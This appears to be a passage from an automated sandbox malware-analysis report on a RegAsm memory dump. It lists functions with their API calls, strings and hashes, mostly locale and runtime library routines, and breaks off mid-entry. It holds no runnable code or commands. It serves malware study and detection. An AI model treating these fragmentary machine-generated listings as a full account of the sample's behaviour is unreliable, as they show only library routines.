Instruction ID: 9ada69c4f7ca39928594594d106047c4e65b58e1a3541a0c5f1fc3d2bb6a9bfa
Opcode Fuzzy Hash: af3e1afe4429c917983b20489d93451d494df3de1508f1cbbf6b72916d2180c4
Instruction Fuzzy Hash: 10E08675758300BBD710EF24EC07F1A3BE4BB48B05F914A39F295A62D0D674B404965E

Function 00414D5D Relevance: 2.6, APIs: 2, Instructions: 63
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE(00000000,00000000,CF830579,?,00414C44,00000000,CF830579,00432C48,0000000C,00414D00,0040BD0B,?), ref: 00414DB3
GetLastError.KERNEL32(?,00414C44,00000000,CF830579,00432C48,0000000C,00414D00,0040BD0B,?), ref: 00414DBD

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: cf05b64a0bbd980239ba65db1c1c6f103e722fbee84b5f4660c8636332b429dd
Instruction ID: ceb111eb948f9657ebdeceefd9bfba8073a9b29251fc9eed98a790ab6a2c0bec
Opcode Fuzzy Hash: cf05b64a0bbd980239ba65db1c1c6f103e722fbee84b5f4660c8636332b429dd
Instruction Fuzzy Hash: 06114C336041241ADB246635BC867FE6749CBC1738F290A5FF808C72C1DE388CC2929C

Function 004143CC Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 672b8ef80a1082ffe797a66fe554d50d659c07feffc08aafbed84bfcd02d8428
Instruction ID: d7b25293e7db54f96000769fea1aeb7630fb582f3d7d0c2fc2c622193e8995c8
Opcode Fuzzy Hash: 672b8ef80a1082ffe797a66fe554d50d659c07feffc08aafbed84bfcd02d8428
Instruction Fuzzy Hash: 620128373002255F9F25CF6EEC40ADB33A6FBC07243148136FA20CB684DA34D8829799

Function 00413EF2 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsopen_s.LIBCMT ref: 00413F2C

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 86b5a37895ede01666616fd7f26fe40e68c10059cd8d9e9be6e6956d389c093e
Instruction ID: be02312cd07e58b193bdeee16c95f5fde802225de20a5ed1c7ae4422ede983e8
Opcode Fuzzy Hash: 86b5a37895ede01666616fd7f26fe40e68c10059cd8d9e9be6e6956d389c093e
Instruction Fuzzy Hash: 46110375A0420AAFCB05DF58E9419DB7BF9EF48304F04406AF809AB351D630EA15CBA8

Function 0041FB65 Relevance: 1.5, APIs: 1, Instructions: 15
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,00000000,?,0041FF58,?,?,00000000,?,0041FF58,?,0000000C), ref: 0041FB82

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 32f1cee3c5876f16e38c750b1e34007635eee82df29fa4d42b06ff8a7cf34f14
Instruction ID: 28cfbda6749b70c9de2fbd9d245fef773b8951bf2dd70127050a9a6bf190398c
Opcode Fuzzy Hash: 32f1cee3c5876f16e38c750b1e34007635eee82df29fa4d42b06ff8a7cf34f14
Instruction Fuzzy Hash: 05D06C3210010DFBDF128F84DC06EDA3FAAFB4C714F018010FA5856021C732E832AB94

Non-executed Functions

Function 0041EBA1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(3FC00000,2000000B,0041EEBF,00000002,00000000,?,?,?,0041EEBF,?,00000000), ref: 0041EC3A
GetLocaleInfoW.KERNEL32(3FC00000,20001004,0041EEBF,00000002,00000000,?,?,?,0041EEBF,?,00000000), ref: 0041EC63
GetACP.KERNEL32(?,?,0041EEBF,?,00000000), ref: 0041EC78

Strings

OCP, xrefs: 0041EBF5
ACP, xrefs: 0041EBBF

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: ae0517b9bda7198648f1cbed6e652a34a4e79f3510d6da964a24c0c18db862fc
Instruction ID: 81a9d30784dd22d719d41cfb92251f6e816e7a4bc62bdb22216d11a6fc444572
Opcode Fuzzy Hash: ae0517b9bda7198648f1cbed6e652a34a4e79f3510d6da964a24c0c18db862fc
Instruction Fuzzy Hash: 92218E3AB04101AADB34CF56CD05AD773A7AF50B50B568826FD0AD7211F736EE81C798

Function 0041ED76 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041513B: GetLastError.KERNEL32(?,00000008,004176BA), ref: 0041513F
Part of subcall function 0041513B: SetLastError.KERNEL32(00000000,00000001,00000006,000000FF), ref: 004151E1

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 0041EE82
IsValidCodePage.KERNEL32(00000000), ref: 0041EECB
IsValidLocale.KERNEL32(?,00000001), ref: 0041EEDA
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0041EF22
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0041EF41

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 1f142972335a53d1e2416df24534188105d76140515381cc06687f0020485920
Instruction ID: eeabbf5cfaddba79e94d22b4dd48aaeada7d5b667952b3c456454f902e5df75d
Opcode Fuzzy Hash: 1f142972335a53d1e2416df24534188105d76140515381cc06687f0020485920
Instruction Fuzzy Hash: B4519075A00315ABDF20DFA6DC41BEB77B8FF48700F54442AAD14E7290E7789980CB69

Function 0041E412 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041513B: GetLastError.KERNEL32(?,00000008,004176BA), ref: 0041513F
Part of subcall function 0041513B: SetLastError.KERNEL32(00000000,00000001,00000006,000000FF), ref: 004151E1

GetACP.KERNEL32(?,?,?,?,?,?,00411EE1,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0041E4D3
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00411EE1,?,?,?,00000055,?,-00000050,?,?), ref: 0041E4FE
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0041E661

Strings

utf8, xrefs: 0041E5D0

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: d2e92ad91d33230e432f41824a885b4f53a9106f8c4d9673b702c20c8aa694f9
Instruction ID: 5e8f11e88951c7c1c9557d61489bca48d24d80555c5ca4e9e4b82e7d51b65768
Opcode Fuzzy Hash: d2e92ad91d33230e432f41824a885b4f53a9106f8c4d9673b702c20c8aa694f9
Instruction Fuzzy Hash: 8F711775A00611AADB24AB77CC42BE773A8EF54708F14442BFD05D7281FB7CE9818799

Function 00415635 Relevance: 6.3, APIs: 4, Instructions: 337COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 004156C2

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: d8f824a3a597dbe048be884bb3e91045552750dfa5ffe6b567c0d7537b351b3d
Instruction ID: 91afe31f9ab3d507f6121463a8ee3d13cfef47ac4a512e863f990cc27fdcea00
Opcode Fuzzy Hash: d8f824a3a597dbe048be884bb3e91045552750dfa5ffe6b567c0d7537b351b3d
Instruction Fuzzy Hash: 92B15872E00645DFDB119F68C891BEEBBE5EF85310F14816BE815AB341D2389D81CBA9

Function 00407B01 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00407B0D
IsDebuggerPresent.KERNEL32 ref: 00407BD9
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00407BF9
UnhandledExceptionFilter.KERNEL32(?), ref: 00407C03

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: bdb8d4ffe5861b74027a400539b36d4e8f115b4355d90c864d7f04757154f5f6
Instruction ID: ca20a48664bdef0e78e9b146848890f6e34f40b99dedcfcf476291c653997e40
Opcode Fuzzy Hash: bdb8d4ffe5861b74027a400539b36d4e8f115b4355d90c864d7f04757154f5f6
Instruction Fuzzy Hash: 1B314B75D0521CDBDF20DFA0D9497CDBBB8BF04304F1040AAE50DA7290EB756A859F09

Function 0041E825 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0041513B: GetLastError.KERNEL32(?,00000008,004176BA), ref: 0041513F
Part of subcall function 0041513B: SetLastError.KERNEL32(00000000,00000001,00000006,000000FF), ref: 004151E1

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0041E879
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0041E8C3
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0041E989

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: dd539c89c5381dfdaac91928ad5ed676a1006981e28db1904c6f4bbe4cde2b34
Instruction ID: efc99f0a6d6f1c6c35933ec1b38cf6b3cd41524c9fcadcabef19194d257b4763
Opcode Fuzzy Hash: dd539c89c5381dfdaac91928ad5ed676a1006981e28db1904c6f4bbe4cde2b34
Instruction Fuzzy Hash: EB618CB59101079BDB689F26CD82BEA77A8FF04340F14417BED16C6281F738D981DB58

Function 0040DD78 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000001), ref: 0040DE70
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000001), ref: 0040DE7A
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000001), ref: 0040DE87

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: b5dd4f76152aea6ca03237fb28cccd4ebdc33645a90cdebeab5d7b36533c9830
Instruction ID: 2886232a598c6d0739cb6745ed5e05dca1263a9451a5c599d013a0f88592b0f0
Opcode Fuzzy Hash: b5dd4f76152aea6ca03237fb28cccd4ebdc33645a90cdebeab5d7b36533c9830
Instruction Fuzzy Hash: 4131E574D012189BCB21DF69D98878DBBB8BF08310F5041EAE41CA7291E774AF858F48

Function 0041B6EA Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7be1b563e95d33199e7689ec4de1d78c2bffa075c9047012787a74e04073e273
Instruction ID: e26fa8b462e3a3bc0dcd1cb195ad12d8a73a1b261898cc61817e46cff9ff25aa
Opcode Fuzzy Hash: 7be1b563e95d33199e7689ec4de1d78c2bffa075c9047012787a74e04073e273
Instruction Fuzzy Hash: 9841A3B5804219AEDB20DF69CC89AEEBBB9EF45304F1441EEE418D3201DB359E858F54

Function 0041EA78 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0041513B: GetLastError.KERNEL32(?,00000008,004176BA), ref: 0041513F
Part of subcall function 0041513B: SetLastError.KERNEL32(00000000,00000001,00000006,000000FF), ref: 004151E1

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0041EACC

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 22a4290edeb40b255e0ef88b49f21dfdd78c731e0f866b45595c0c5f80cee5a7
Instruction ID: 09566a44d01ac47d2cdad9f49e07ec0328cace9eeb3adbfa8c3b07b4827ecd72
Opcode Fuzzy Hash: 22a4290edeb40b255e0ef88b49f21dfdd78c731e0f866b45595c0c5f80cee5a7
Instruction Fuzzy Hash: D321AF36605206ABDB28DE26DD42AFB73A8EF44314B10407FED02D6241EB78AD81CB58

Function 0041E6FF Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041513B: GetLastError.KERNEL32(?,00000008,004176BA), ref: 0041513F
Part of subcall function 0041513B: SetLastError.KERNEL32(00000000,00000001,00000006,000000FF), ref: 004151E1

EnumSystemLocalesW.KERNEL32(0041E825,00000001,00000000,?,-00000050,?,0041EE56,00000000,?,?,?,00000055,?), ref: 0041E771

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 9637497d46bd12567f8eabdc0472934baf484039a92a8dbd1bfa50b3c5102b1b
Instruction ID: f28f85ac1fea5866725ce88a4d547c14bcace0560233e7335010750b785556cb
Opcode Fuzzy Hash: 9637497d46bd12567f8eabdc0472934baf484039a92a8dbd1bfa50b3c5102b1b
Instruction Fuzzy Hash: F0112C3A6007019FEB189F3AD8916FAB791FF80368B14442ED95747740E7757843C744

Function 0041ECA7 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 0041513B: GetLastError.KERNEL32(?,00000008,004176BA), ref: 0041513F
Part of subcall function 0041513B: SetLastError.KERNEL32(00000000,00000001,00000006,000000FF), ref: 004151E1

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0041EB22,00000000,00000000,?), ref: 0041ECD3

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: f78a423274370276909a02de998c8e2fb19ace7283c045400ea6aabaf7fbf6a9
Instruction ID: 6e93bce3e8a9596dc076f6a872b53f7d727095e2315f943068ff1bd0afa52940
Opcode Fuzzy Hash: f78a423274370276909a02de998c8e2fb19ace7283c045400ea6aabaf7fbf6a9
Instruction Fuzzy Hash: 56F02D3A600113BFDB245B26EC09BFB7764EB40354F19442AEC06A3280EA78FDC2C694

Function 0041E60D Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 0041513B: GetLastError.KERNEL32(?,00000008,004176BA), ref: 0041513F
Part of subcall function 0041513B: SetLastError.KERNEL32(00000000,00000001,00000006,000000FF), ref: 004151E1

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0041E661

Strings

utf8, xrefs: 0041E5D0

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID: utf8
API String ID: 3736152602-905460609
Opcode ID: 2152daac5f42ae25a129a23ac8d896ce75da55d7df13b3f6dfbcda70826a3db5
Instruction ID: d369d087f973f2c2e7390e19339e1b86590d8fa7fa541369cb1b30fd3d4077c9
Opcode Fuzzy Hash: 2152daac5f42ae25a129a23ac8d896ce75da55d7df13b3f6dfbcda70826a3db5
Instruction Fuzzy Hash: B0F0F436A10105ABC714AF25DC45FFA73A8EB84324F40007EAA02D7281EA78AD418758

Function 0041E79A Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041513B: GetLastError.KERNEL32(?,00000008,004176BA), ref: 0041513F
Part of subcall function 0041513B: SetLastError.KERNEL32(00000000,00000001,00000006,000000FF), ref: 004151E1

EnumSystemLocalesW.KERNEL32(0041EA78,00000001,45F1B473,?,-00000050,?,0041EE1A,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 0041E7E4

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 7822a5e4b117a09642d2d9f73cbe77476052005b15321de9f48d0f235ef5c92f
Instruction ID: 0c0c1f316863ef4a6d30beb722119c93d5a9d1266b3f20af8045389666d513f6
Opcode Fuzzy Hash: 7822a5e4b117a09642d2d9f73cbe77476052005b15321de9f48d0f235ef5c92f
Instruction Fuzzy Hash: BDF0C23A2003045FEB249F3A9881ABABB95FF80368F15442EFD568B690D6759C82C718

Function 00414138 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0040E0C6: EnterCriticalSection.KERNEL32(?,?,00412EDC,00000000,00432B68,0000000C,00412EA3,0000000C,?,004140C7,0000000C,?,004152D9,00000001,00000364,?), ref: 0040E0D5

EnumSystemLocalesW.KERNEL32(0041412B,00000001,00432BE8,0000000C,0041455A,00000000), ref: 00414170

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 80f246e533dc21f73d9613eff5259b5841ca6d0f841dd3ce2907f16627d73c59
Instruction ID: 198ab3507c4040aae18c9164df511e00e81c972c753b4360ebc7eca8a0771405
Opcode Fuzzy Hash: 80f246e533dc21f73d9613eff5259b5841ca6d0f841dd3ce2907f16627d73c59
Instruction Fuzzy Hash: 14F03C72A14204DFD710EF99E842B9C77B0FB84725F10422BE811DB2A0C7B959409B98

Function 0041E6B4 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041513B: GetLastError.KERNEL32(?,00000008,004176BA), ref: 0041513F
Part of subcall function 0041513B: SetLastError.KERNEL32(00000000,00000001,00000006,000000FF), ref: 004151E1

EnumSystemLocalesW.KERNEL32(0041E60D,00000001,45F1B473,?,?,0041EE78,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0041E6EB

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 8c2aaa4c0cd0d54cc735e91a7a0ddb58f51471a544283acf310fccb30414098b
Instruction ID: d7e3b5c502124c080ac9a43a58f0728b4bb26e435a168ea3e401fe3e83efba30
Opcode Fuzzy Hash: 8c2aaa4c0cd0d54cc735e91a7a0ddb58f51471a544283acf310fccb30414098b
Instruction Fuzzy Hash: A9F0E53A30025597CB149F3AD8557AABF94EFD1724F87405AEE06CB250C6799883C758

Function 0041465E Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00412A47,?,20001004,00000000,00000002,?,?,00412049), ref: 00414692

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: a79f5b4871ba1c4f54388a69458767bdf475af3fdf68469de367ee09879fad86
Instruction ID: f9bd5592f4a27906ba0b7000611c056f456b6c13901b9127fc06cc884ae94f8f
Opcode Fuzzy Hash: a79f5b4871ba1c4f54388a69458767bdf475af3fdf68469de367ee09879fad86
Instruction Fuzzy Hash: 63E04F31540268BBCF122F61DC04EEE3F19FF85761F064026FC1566261CB7A9D61AA9D

Function 00407C63 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00007C6F,00407287), ref: 00407C68

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 91f082824127807ca67e9bea16e4e1142dcaa675fdc02378074aa91e014118a9
Instruction ID: 0ff61591fe6e7fdbf664e27eab8a47433d3f920744837751a1e33914f5cec1be
Opcode Fuzzy Hash: 91f082824127807ca67e9bea16e4e1142dcaa675fdc02378074aa91e014118a9
Instruction Fuzzy Hash:

Function 0041EFD8 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0041EFD8

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 960917853a08cbcbaec74a3857df259023f2eba71cc87e2cdee0c8228e0b7f47
Instruction ID: d5d072ba9748c195f736b78e16f2f5f2af1f06de213b616d404cea10f9c51eb0
Opcode Fuzzy Hash: 960917853a08cbcbaec74a3857df259023f2eba71cc87e2cdee0c8228e0b7f47
Instruction Fuzzy Hash: 01A02230300280CF83808F32AE0CB0C3FF8AE082E0B0AC03AA000C80B0EF3080A0AF08

Function 00404B20 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 191COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00404B4C
std::_Lockit::_Lockit.LIBCPMT ref: 00404B69
std::_Lockit::~_Lockit.LIBCPMT ref: 00404B8D
std::_Lockit::~_Lockit.LIBCPMT ref: 00404BB8
std::_Lockit::_Lockit.LIBCPMT ref: 00404C2A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00404C7F
__Getctype.LIBCPMT ref: 00404C96
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00404CD6
std::_Lockit::~_Lockit.LIBCPMT ref: 00404D78
std::_Facet_Register.LIBCPMT ref: 00404D7E

Strings

bad locale name, xrefs: 00404D98

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Locinfo::_$Facet_GetctypeLocinfo_ctorLocinfo_dtorRegister
String ID: bad locale name
API String ID: 103145292-1405518554
Opcode ID: 07779c633be37db408639f77928584da0fe84fd984f841e2fd8ba1ab6a6bcfd4
Instruction ID: c45789c66640c356b2bc41b45c406846e681c44b1f4b151baf81fb86c109fe15
Opcode Fuzzy Hash: 07779c633be37db408639f77928584da0fe84fd984f841e2fd8ba1ab6a6bcfd4
Instruction Fuzzy Hash: 7B619FB19043408BD720DF65D941B5BB7F4AFD4304F05493EE989A7392E738E948CB5A

Function 0040A998 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0040AAB7
___TypeMatch.LIBVCRUNTIME ref: 0040ABC5
_UnwindNestedFrames.LIBCMT ref: 0040AD17
CallUnexpected.LIBVCRUNTIME ref: 0040AD32

Strings

csm, xrefs: 0040A9D5
csm, xrefs: 0040AAEE
hqB, xrefs: 0040AAAE
csm, xrefs: 0040AA42

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm$hqB
API String ID: 2751267872-961717235
Opcode ID: 5312b3d91eab99b169114e3402d6476c4e494fcb55b904c8292e4fd39c2bab0a
Instruction ID: 1a84720c735a061b690d6f447b3278b908e1dcb1436106e9bb87ee9a1a6810cd
Opcode Fuzzy Hash: 5312b3d91eab99b169114e3402d6476c4e494fcb55b904c8292e4fd39c2bab0a
Instruction Fuzzy Hash: 2DB18A718003099FDF14DFA5C9809AEBBB5FF14304B19456BE8017B282C739DA61CF9A

Function 00422D42 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0042485F), ref: 00422D5B

Strings

exp, xrefs: 00422DDA, 00422E3F
acos, xrefs: 00422E91
pow, xrefs: 00422DF9, 00422EA3, 00422EF0
asin, xrefs: 00422E88
sqrt, xrefs: 00422E9A
log, xrefs: 00422DB8, 00422DC7
log10, xrefs: 00422D9D, 00422DAC

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 99bc9cc3bdd9136b520063792197f245364da15bbda7aca5a31b7bed04557963
Instruction ID: 541d14d2076966b173cd57405107be29c5c83d47e8039af315078564b0fddfcc
Opcode Fuzzy Hash: 99bc9cc3bdd9136b520063792197f245364da15bbda7aca5a31b7bed04557963
Instruction Fuzzy Hash: 76514371B0062AEBCB108F59FA4C1AEBBB0FB45304F924057D480A6354CBBD8925EB5E

Function 0040718A Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

